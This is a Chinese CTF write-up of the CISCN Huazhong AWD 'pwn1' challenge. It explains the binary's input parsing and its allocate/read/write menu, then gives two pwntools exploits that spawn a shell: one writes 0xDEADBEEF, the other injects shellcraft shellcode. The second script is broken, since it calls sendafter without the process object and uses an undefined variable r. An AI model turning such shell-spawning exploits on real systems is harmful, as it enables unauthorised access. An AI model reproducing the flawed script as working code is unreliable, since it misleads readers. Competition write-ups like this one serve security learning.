ciscn 华中赛区分区赛 awd pwn1

在这里插入图片描述
罕见的有保护没有都开。

在这里插入图片描述在这里插入图片描述输入是input
sb是第一个:
:后面的第一个事sc
sc后面第一个回车是sd
sd后面第一个又是input

E0存放着input
E8放着sc

所以其实也就是回车为分界,一组一个回车。
:又将每一组分开,分别存放在E0,E8。

有个strcasecmp函数

头文件:#include <string.h>
定义函数:int strcasecmp (const char *s1, const char *s2);
函数说明:strcasecmp()用来比较参数s1 和s2 字符串,比较时会自动忽略大小写的差异。
返回值:若参数s1 和s2 字符串相同则返回0。s1 长度大于s2 长度则返回大于0 的值,s1 长度若小于s2 长度则返回小于0 的值。

在这里插入图片描述
然后最多重复五轮,就出循环了。

在这里插入图片描述根据v7的不同的值进入不同的函数。

1
在这里插入图片描述假如6020d0的空间里面的字符串,就可以拿到shell。

在这里插入图片描述
咋申请不知道

2
在这里插入图片描述v9、v10控制在那个空间的哪里开始读,读多少。

3
在这里插入图片描述这个又是写。

在这里插入图片描述
当都不是的时候还有一个分支。
这直接会执行写在那个chunk的函数。

1、2、3就是申请,读写。

整体思路比较明确,就是通过上面的while循环控制参数,跳出循环可以两个回车,或者五个填满,我们直接两个回车就好。

所以两个思路,两份wp,在比赛的时候可以两个都打一下,可能别人只补了一个洞。

第一种
我们就只要控制它申请一块空间写入DEADBEAF,然后1就行。

exp

from pwn import *

context.log_level = 'debug'

r = process("./1")

r.sendafter('>', 'op:2\n+:0\nn:4\n\n')
r.sendafter('ready?', p32(0xDEADBEEF))
r.sendafter('>', 'op:1\n+:0\nn:4\n\n')

r.interactive()

第二种就是ret2shellcode了

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = "linux"

p = process("./1")
shellcode = asm(shellcraft.sh())

sendafter('>', 'op:2\n+:0\nn:'+str(len(shellcode))+'\n\n')
sendafter('ready?', shellcode)
sendafter('>', 'op:4\n+:0\nn:4\n\n')

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值